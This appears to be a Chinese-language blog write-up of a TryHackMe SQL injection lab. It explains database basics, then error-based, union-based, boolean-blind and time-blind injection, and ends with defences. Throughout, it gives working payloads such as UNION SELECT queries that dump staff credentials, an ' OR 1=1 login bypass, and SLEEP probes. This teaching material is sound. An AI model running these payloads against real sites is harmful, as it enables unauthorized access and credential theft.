SQL Injection(SQL注入)

SQL Injection(SQL注入) 

 

什么是SQL注入?

SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询。当 Web 应用程序使用未经正确验证的用户输入与数据库通信时,攻击者有可能窃取、删除或更改私人和客户数据,并攻击 Web 应用程序的身份验证方法以获取私有信息或客户区。这就是为什么 SQLi 不仅是最古老的 Web 应用程序漏洞之一,而且也是最具破坏性的

什么是数据库?

如果您不习惯使用数据库或利用它们,可能需要习惯一些新术语,所以让我们从一些关于数据库的结构和工作方式的基础知识开始

数据库是以有组织的方式以电子方式存储数据集合的一种方式。数据库由 DBMS 控制,它是 Database Management System 的首字母缩写,DBMS 分为关系型或非关系型两个阵营,这个房间的重点将放在关系型数据库上,您会遇到的一些常见数据库是 MySQL、Microsoft SQL Server、Access、PostgreSQL 和 SQLite

在 DBMS 中,您可以有多个数据库,每个数据库都包含自己的一组相关数据。例如,您可能有一个名为“ shop ”的数据库。在此数据库中,您希望存储有关可供购买的产品的信息、已注册到您的在线商店的用户以及有关您收到的订单的信息。您将使用称为表的东西将此信息单独存储在数据库中,每个表都用唯一的名称标识。您可以在下图中看到这种结构,但您还可以看到企业如何使用其他单独的数据库来存储员工信息或客户团队

什么是表(table)?

表格由列和行组成,一种有用的方式是将表格想象成一个网格,列从左到右穿过顶部,包含单元格的名称,行从上到下,每一行都有实际数据

列(columns)

每个列,更好地称为字段,每个表都有一个唯一的名称。创建列时,您还可以设置它将包含的数据类型,常见的有整数(数字)、字符串(标准文本)或日期。一些数据库可以包含更复杂的数据,例如包含位置信息的地理空间数据。设置数据类型还可以确保不会存储不正确的信息,例如字符串“hello world”存储在用于日期的列中。如果发生这种情况,数据库服务器通常会产生一条错误消息。包含整数的列也可以启用自动递增功能;这为每一行数据提供了一个唯一的数字,该数字随着每一行的后续行而增长(递增),这样做会创建所谓的键字段,对于可用于在 SQL 查询中查找确切行的每一行数据,关键字段必须是唯一的

行(Rows)

行或记录是包含各个数据行的内容。当您向表中添加数据时,会创建新的行/记录,而当您删除数据时,会删除行/记录

关系数据库与非关系数据库:

关系数据库将信息存储在表中,并且表之间通常共享信息,它们使用列来指定和定义要存储的数据,并使用行来实际存储数据。这些表通常包含一个具有唯一 ID(主键)的列,然后在其他表中使用该 ID 来引用它并在表之间建立关系,因此称为关系数据库

另一方面,有时称为 NoSQL 的非关系数据库是任何一种不使用表、列和行来存储数据的数据库,不需要构建特定的数据库布局,因此每一行数据都可以包含不同的可以提供比关系数据库更大灵活性的信息。这种类型的一些流行数据库是 MongoDB、Cassandra 和ElasticSearch

什么是 SQL?

SQL(结构化查询语言-Structured Query Language)是一种用于查询数据库的功能丰富的语言,这些 SQL 查询称为语句

我们将在此任务中介绍的最简单的命令用于检索(选择)、更新、插入和删除数据。尽管有些相似,但一些数据库服务器有自己的语法并且在工作方式上有细微的变化。所有这些示例都基于 MySQL 数据库,值得注意的是,SQL 语法不区分大小写

SELECT

我们将学习的第一种查询类型是用于从数据库中检索数据的 SELECT 查询

select * from users;

idusernamepassword
1 jon pass123
2 admin p4ssword
3 martin secret123

第一个单词 SELECT 告诉数据库我们想要检索一些数据,* 告诉数据库我们想要从表中接收回所有列。例如,该表可能包含三列(id、username和password)。“from users”告诉数据库我们要从名为 users 的表中检索数据。最后,末尾的分号告诉数据库查询到此结束

下一个查询与上面类似,但是这次,我们不使用 * 返回数据库表中的所有列,而是只请求用usernamepassword字段

select username,password from users;

usernamepassword
jon pass123
admin p4ssword
martin secret123

以下查询与第一个查询一样,使用 * 选择器返回所有列,然后“LIMIT 1”子句强制数据库仅返回一行数据。将查询更改为“LIMIT 1,1”会强制查询跳过第一个结果,然后“LIMIT 2,1”会跳过前两个结果,依此类推。您需要记住第一个数字告诉数据库您希望跳过多少结果,第二个数字告诉数据库要返回多少行

select * from users LIMIT 1;

idusernamepassword
1 jon pass123

最后,我们将使用 where 子句;可以通过where字语句精心挑选查询的结果

select * from users where username='admin';

idusernamepassword
2 admin p4ssword

这将只返回用户名等于 admin 的行

select * from users where username != 'admin';

idusernamepassword
1 jon pass123
3 martin secret123

这将只返回用户名 不 等于 admin 的行

select * from users where username='admin' or username='jon';

idusernamepassword
1 jon pass123
2 admin p4ssword

这将只返回用户名等于 admin 或 jon 的行

select * from users where username='admin' and password='p4ssword';

idusernamepassword
2 admin p4ssword

这只会返回用户名等于 admin且密码等于 p4ssword的行

使用 like 子句可以指定不是完全匹配的数据,而是通过选择百分号 % 表示的通配符的放置位置来指定以某些字符开头、包含或结尾的数据

select * from users where username like 'a%';

idusernamepassword
2 admin p4ssword

这将返回用户名以字母 a 开头的所有行

select * from users where username like '%n';

idusernamepassword
1 jon pass123
2 admin p4ssword
3 martin secret123

这将返回用户名以字母 n 结尾的所有行

select * from users where username like '%mi%';

idusernamepassword
2 admin p4ssword

这将返回用户名中包含字符 mi 的任何行

UNION

UNION 语句组合两个或多个 SELECT 语句的结果以从单个或多个表中检索数据;此查询的规则是 UNION 语句必须在每个 SELECT 语句中检索相同数量的列,这些列必须具有相似的数据类型并且列顺序必须相同。这听起来可能不是很清楚,所以让我们使用以下类比。假设一家公司想要为所有客户和供应商创建一个地址列表以发布新目录。我们有一个名为 customers 的表,其中包含以下内容:

idnameaddresscitypostcode
1 约翰史密斯先生 假街123号 曼彻斯特 M2 3FJ
2 珍妮帕默夫人 绿道99号 伯明翰 B2 4KL
3 莎拉·刘易斯小姐 前街 15 号 伦敦 NW12 3GH

另一个叫做供应商,内容如下:

idcompanyaddresscitypostcode
1 小部件有限公司 纽比庄园 1a 单元 布里斯托尔 BS19 4RT
2 工具公司 工业路75号 诺里奇 N22 3DR
3 斧头制造有限公司 市场路 2b 创客单元 伦敦 SE9 1KK

使用下面的 SQL 语句,我们可以从两个表中收集结果并将它们放入一个结果集中:

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

nameaddresscitypostcode
约翰史密斯先生 假街123号 曼彻斯特 M2 3FJ
珍妮帕默夫人 绿道99号 伯明翰 B2 4KL
莎拉·刘易斯小姐 前街 15 号 伦敦 NW12 3GH
小部件有限公司 纽比庄园 1a 单元 布里斯托尔 BS19 4RT
工具公司 工业路75号 诺里奇 N22 3DR
斧头制造有限公司 市场路 2b 创客单元 伦敦 SE9 1KK

INSERT

INSERT语句 告诉数据库我们希望向表中插入一行新数据。 “into users”告诉数据库我们希望将数据插入到哪个表中, “(username,password)” 提供我们为其提供数据的列,然后是 “values ('bob','password');” 为先前指定的列提供数据

insert into users (username,password) values ('bob','password123');

idusernamepassword
1 jon pass123
2 admin p4ssword
3 martin secret123
4 bob password123

UPDATE

UPDATE 语句告诉数据库我们希望更新表中的一行或多行数据。您使用“ update 表名 SET ”指定您希望更新的表,然后选择您希望更新的一个或多个字段作为逗号分隔列表,例如“ username='root',password='pass123' ”,最后与 SELECT 语句类似,您可以使用 where 子句(例如“ where username='admin; ”)准确指定要更新的行

update users SET username='root',password='pass123' where username='admin';

idusernamepassword
1 jon pass123
2 root pass123
3 martin secret123
4 bob password123

DELETE

DELETE语句 告诉数据库我们希望删除一行或多行数据。除了缺少您希望返回的列之外,此查询的格式与 SELECT 非常相似。您可以使用where子句精确指定要删除的数据 ,并使用LIMIT子句 指定要删除的行数

delete from users where username='martin';

idusernamepassword
1 jon pass123
2 root pass123
4 bob password123

delete from users;

因为查询中没有使用 WHERE 子句,所以表中的所有数据都被删除了

idusernamepassword

什么是SQL注入

当用户提供的数据被包含在 SQL 查询中时,使用 SQL 的 Web 应用程序可以变成 SQL 注入

SQL注入什么样子的?

假设您遇到了一个在线博客,并且每个博客条目都有一个唯一的 ID 号。博客条目可以设置为公开或私有,具体取决于它们是否准备好公开发布。每个博客条目的 URL 可能如下所示:

https://website.thm/blog?id=1

从上面的 URL,您可以看到被选中的博客条目来自查询字符串中的 id 参数。Web 应用程序需要从数据库中检索文章,并且可能会使用如下所示的 SQL 语句:

SELECT * from blog where id=1 and private=0 LIMIT 1;

根据你在上一个任务中学到的知识,你应该能够计算出上面的 SQL 语句正在 blog 表中查找 id 号为 1 且私有列设置为 0 的文章,这意味着它能够供公众查看,并将结果限制为返回结果自由一行

正如本任务开始时提到的,当用户输入被引入数据库查询时,就会引入 SQL 注入。在此实例中,查询字符串中的 id 参数直接用于 SQL 查询

假设文章 id 2 仍被锁定为私有,因此无法在网站上查看。我们现在可以改为调用 URL:

https://website.thm/blog?id=2;--

它将依次生成 SQL 语句:

SELECT * from blog where id=2;-- and private=0 LIMIT 1;

URL 中的分号表示 SQL 语句的结束,两个破折号使之后的所有内容都被视为注释。通过这样做,您实际上只是在运行查询:

SELECT * from blog where id=2;--

它将返回 id 为 2 的文章,无论它是否设置为 public

这只是一种称为带内 SQL 注入的 SQL 注入漏洞的一个示例;In-Band, Blind 和 Out Of Band 总共有 3 种类型

带内 SQLi(In-Band)

带内 SQL 注入是最容易检测和利用的类型;In-Band 只是指使用相同的通信方法来利用漏洞并接收结果,例如,在网站页面上发现 SQL 注入漏洞,然后能够从数据库中提取数据到同一页面。

基于错误的 SQL 注入(Error-Based SQL Injection)

这种类型的 SQL 注入对于轻松获取有关数据库结构的信息最有用,因为来自数据库的错误消息会直接打印到浏览器屏幕。这通常可用于枚举整个数据库

基于联合的 SQL 注入(Union-Based SQL Injection)

这种类型的注入利用 SQL UNION 运算符和 SELECT 语句将其他结果返回到页面。此方法是通过 SQL 注入漏洞提取大量数据的最常用方法

实际的:

发现基于错误的 SQL 注入的关键是通过尝试某些字符来破坏代码的 SQL 查询,直到产生错误消息;这些最常见的是单撇号 (') 或引号 (")

尝试在 id=1 后键入撇号 ( ' ),然后按 Enter 键。您会看到这会返回一个 SQL 错误,通知您语法中有错误。您收到此错误消息的事实证实了 SQL 注入漏洞的存在。我们现在可以利用此漏洞并使用错误消息来了解有关数据库结构的更多信息

我们需要做的第一件事是将数据返回给浏览器而不显示错误消息。首先,我们将尝试 UNION 运算符,以便我们可以接收到我们选择的额外结果。尝试将模拟浏览器 id 参数设置为:

1 UNION SELECT 1

此语句应产生一条错误消息,通知您 UNION SELECT 语句的列数与原始 SELECT 查询的列数不同。因此,让我们再试一次,但添加另一列:

1 UNION SELECT 1,2

同样的错误,所以让我们通过添加另一列来重复:

1 UNION SELECT 1,2,3

成功,错误消息消失了,正在显示文章,但现在我们想显示我们的数据而不是文章。显示该文章是因为它在网站代码的某处获取第一个返回结果并显示该结果。为了解决这个问题,我们需要第一个查询不产生任何结果。这可以简单地通过将文章 ID 从 1 更改为 0 来完成

0 UNION SELECT 1,2,3

您现在将看到文章仅由返回列值 1、2 和 3 的 UNION 选择的结果组成。我们可以开始使用这些返回值来检索更有用的信息。首先,我们将获得我们有权访问的数据库名称:

0 UNION SELECT 1,2,database()

您现在会看到之前显示数字 3 的位置;它现在显示数据库的名称,即 sqli_one

我们的下一个查询将收集该数据库中的表列表

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

在此查询中有一些新东西需要学习。首先, group_concat()方法 从多个返回的行中获取指定的列(在我们的例子中是 table_name),并将其放入一个以逗号分隔的字符串中。接下来是 information_schema 数据库;数据库的每个用户都可以访问它,它包含有关用户有权访问的所有数据库和表的信息。在这个特定的查询中,我们有兴趣列出sqli_one数据库中的所有表 ,即 article 和 staff_users

由于第一级旨在发现 Martin 的密码,因此我们对 staff_users 表感兴趣。我们可以再次利用 information_schema 数据库,使用以下查询找到该表的结构

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

这类似于前面的 SQL 查询。但是,我们要检索的信息已从 table_name 更改为 column_name,我们在 information_schema 数据库中查询的表已从 tables 更改为 columns,并且我们正在搜索 table_name 列的值为 staff_users 的任何行

这里我们使用的where字语句为where table_name = 'staff_users',这是一个模糊的概念,因为column_name中包含着所有数据库的表名,使用条件语句查询staff_users的表名,其他的数据库可能也存在这个表名,所以建议子语句建议加上数据库的名称table_schema=sqli_one进行查询

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'sqli_one' and 'table_name = 'staff_users'

查询结果为 staff_users 表提供了三列:id、password 和 username。我们可以使用以下查询的用户名和密码列来检索用户信息

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

我们再次使用 group_concat 方法将所有行返回到一个字符串中并使其更易于阅读。我们还添加了 ,':' 来将用户名和密码彼此分开。我们没有用逗号分隔,而是选择了 HTML <br> 标记,它强制每个结果位于单独的一行上,以便于阅读

Blind SQLi - Authentication Bypass(盲 SQLi - 身份验证绕过)

盲SQLi
与我们可以直接在屏幕上看到攻击结果的带内 SQL 注入不同,盲 SQLi 是指我们几乎没有或根本没有反馈来确认我们注入的查询是否成功,这是因为错误消息已被禁用,但无论如何注入仍然有效。您可能会感到惊讶,我们所需要的只是成功枚举整个数据库的一点点反馈

身份验证绕过
最直接的 SQL 盲注技术之一是绕过登录表单等身份验证方法。在这种情况下,我们对从数据库中检索数据不感兴趣;我们只想通过登录

连接到用户数据库的登录表单通常以这样一种方式开发,即 Web 应用程序对用户名和密码的内容不感兴趣,但更多的是两者是否在用户表中匹配。简而言之,Web 应用程序询问数据库“您是否有一个用户名为 bob 且密码 为bob123 的用户?”,数据库回答是或否(真/假),并根据该答案指示Web 应用程序是否允许您继续

考虑到上述信息,没有必要枚举有效的用户名/密码yes。我们只需要创建一个以 yes/true 回复的数据库查询

实际的:
对数据库的查询如下:
select * from users where username='%username%' and password='%password%' LIMIT 1;

注意 %username% 和 %password% 值取自登录表单字段,SQL 查询框中的初始值将为空,因为这些字段当前为空

为了使它成为一个始终返回 true 的查询,我们可以在密码字段中输入以下内容:

' OR 1=1;--

它将 SQL 查询变成以下内容:

select * from users where username='' and password='' OR 1=1;

因为 1=1 是一个 true 语句并且我们使用了 OR 运算符,所以这将始终导致查询返回 true,这满足 web 应用程序逻辑,即数据库找到了有效的用户名/密码组合并且应该允许访问

Blind SQLi - Boolean Based(盲 SQLi - 基于布尔)

基于布尔
基于布尔的 SQL 注入是指我们从注入尝试中收到的响应,它可能是真/假、是/否、开/关、1/0 或任何只能有两个结果的响应。该结果向我们确认了我们的 SQL 注入负载是否成功。在第一次检查时,您可能会觉得这种有限的回答无法提供太多信息。尽管如此,实际上,仅通过这两个响应,就可以枚举整个数据库结构和内容

实际的:
一个具有以下 URL 的模拟浏览器:

https://website.thm/checkuser?username=admin

浏览器主体包含{"taken":true}的内容 。这个 API 端点复制了许多注册表单上的一个常见功能,即检查用户名是否已注册以提示用户选择不同的用户名。因为 取值 设置为 true,我们可以假设用户名 admin 已经注册。事实上,我们可以通过将模拟浏览器地址栏中的用户名从 admin更改 为 admin123来确认这一点,然后按回车键,您会看到所采用的值 现在已更改为 false

处理的 SQL 查询如下所示:

select * from users where username = '%username%' LIMIT 1;

作为唯一的输入,我们可以控制查询字符串中的用户名,我们将不得不使用它来执行我们的 SQL 注入。将用户名保留为 admin123,我们可以开始附加到此以尝试让数据库确认真实的东西,这会将 taken 字段的状态从 false 更改为 true

与之前的级别一样,我们的首要任务是确定用户表中的列数,我们可以使用 UNION 语句来实现。将用户名值更改为以下内容:

admin123' UNION SELECT 1;--

由于 Web 应用程序已将值 作为 false 进行响应,因此我们可以确认这是不正确的列值。继续添加更多列,直到我们 获得true 值 。您可以通过将用户名设置为以下值来确认答案是三列:

admin123' UNION SELECT 1,2,3;--

现在我们的列数已经确定,我们可以处理数据库的枚举。我们的首要任务是发现数据库名称。为此,我们可以使用内置的 database() 方法,然后使用 like 运算符尝试查找将返回真实状态的结果。

试试下面的用户名值,看看会发生什么:

admin123' UNION SELECT 1,2,3 where database() like '%';--

我们得到一个真实的响应,因为在 like 运算符中,我们只有 %的值,它将匹配任何东西,因为它是通配符值。如果我们将通配符更改为 a%,您会看到响应返回到 false,这确认数据库名称不以字母 a开头。我们可以循环遍历所有字母、数字和字符,例如 - 和_,直到找到匹配项。如果您将以下内容作为用户名值发送,您将收到一个 真实的 响应,确认数据库名称以字母 s开头

admin123' UNION SELECT 1,2,3 where database() like 's%';--

现在您移动到数据库名称的下一个字符,直到找到另一个 真实的 响应,例如“sa%”、“sb%”、“sc%”等。继续这个过程,直到您发现数据库名称的所有字符数据库名称,即 sqli_three

admin123' UNION SELECT 1,2,3 where database() like 'sqli_three';--

我们已经建立了数据库名称,我们现在可以使用 information_schema 数据库使用类似的方法来枚举表名称。尝试将用户名设置为以下值:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

此查询在数据库名称与 sqli_three匹配且表名称以字母 a 开头的tables表 中 查找 information_schema数据库中的结果。由于上述查询结果为  响应,我们可以确认sqli_three数据库中没有以字母a开头的表。像以前一样,您需要循环遍历字母、数字和字符,直到找到肯定的匹配项

您最终会在名为 users 的 sqli_three 数据库中发现一个表,您可以通过运行以下用户名负载来确认:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

最后,我们现在需要枚举 users 表中的列名,以便我们可以正确地在其中搜索登录凭据。再次使用 information_schema 数据库和我们已经获得的信息,我们可以开始查询它的列名。使用下面的payload,我们搜索 数据库 等于sqli_three,表名为users,列名以字母a开头的列表

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

同样,您需要循环遍历字母、数字和字符,直到找到匹配项。当您正在寻找多个结果时,您必须在每次找到新的列名时将其添加到您的负载中,这样您就不会一直发现相同的结果。例如,找到名为 id的列后,您会将其附加到原始有效负载(如下所示)

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';

重复此过程三次将使您能够发现列 id、username 和 password。现在您可以使用它来查询 用户 表以获取登录凭据。首先,您需要发现一个有效的用户名,您可以使用下面的有效负载:

admin123' UNION SELECT 1,2,3 from users where username like 'a%

其中,一旦您循环遍历所有字符,您将确认用户名 admin的存在。现在你有了用户名。您可以专注于发现密码。下面的有效载荷向您展示了如何找到密码:

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

循环遍历所有字符,您会发现密码是 3845

admin123' UNION SELECT 1,2,3 from users where username='admin' and password ='3845

Blind SQLi - Time Based(盲SQLi-基于时间)

Time-Based(基于时间)

基于时间的盲注 SQL 注入与上述基于布尔值的注入非常相似,发送相同的请求,但这次没有视觉指示器表明您的查询是对是错。相反,正确查询的指标是基于查询完成的时间。此时间延迟是通过使用内置方法(例如 SLEEP(x) 以及 UNION 语句引入的。SLEEP() 方法只会在 UNION SELECT 语句成功时执行

因此,例如,当尝试确定表中的列数时,您可以使用以下查询:

admin123' UNION SELECT SLEEP(5);--

如果响应时间没有暂停,我们就知道查询不成功,所以像之前的任务一样,我们添加另一列:

admin123' UNION SELECT SLEEP(5),2;--

此负载应该产生了 5 秒的时间延迟,这确认了 UN​​ION 语句的成功执行并且有两列。

您现在可以从基于布尔的 SQL 注入中重复枚举过程,将 SLEEP() 方法添加到 UNION SELECT 语句中

如果您正在努力寻找表名,下面的查询应该可以帮助您:

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

后面的过程和[Blind SQLi - Boolean Based(盲 SQLi - 基于布尔)]类似

Out-of-Band SQLi(带外 SQLi)

带外 SQL 注入并不常见,因为它取决于数据库服务器上启用的特定功能或 Web 应用程序的业务逻辑,这会根据 SQL 查询的结果进行某种外部网络调用

带外攻击通过两种不同的通信渠道进行分类,一种用于发起攻击,另一种用于收集结果。例如,攻击渠道可能是 Web 请求,数据收集渠道可能是监控对您控制的服务发出的 HTTP/DNS 请求

  1. 攻击者使用注入负载向易受 SQL 注入攻击的网站发出请求。
  2. 网站对数据库进行 SQL 查询,同时传递黑客的有效载荷。
  3. 有效负载包含一个请求,该请求强制HTTP请求返回包含数据库数据的黑客机器。

SQL注入防御

与 SQL 注入漏洞一样具有影响力,开发人员确实有办法通过遵循以下建议来保护他们的 Web 应用程序免受它们的侵害:

准备好的语句(带有参数化查询):
在准备好的查询中,开发人员编写的第一件事是 SQL 查询,然后将任何用户输入添加为参数。编写准备好的语句可确保 SQL 代码结构不发生变化,并且数据库可以区分查询和数据。作为一个好处,它还使您的代码看起来更清晰,更易于阅读。

输入验证:
输入验证可以大大保护输入到 SQL 查询中的内容。使用允许列表可以将输入限制为仅某些字符串,或者编程语言中的字符串替换方法可以过滤您希望允许或不允许的字符。

转义用户输入:
允许用户输入包含诸如 ' " $ \ 之类的字符可能会导致 SQL 查询中断,或者更糟糕的是,正如我们所了解的那样,将它们打开以进行注入攻击。转义用户输入是在这些字符前添加反斜杠 ( \ )的方法字符,然后将它们作为常规字符串而不是特殊字符进行解析。

posted @ 2023-03-12 22:35  李海家  阅读(53)  评论(0编辑  收藏  举报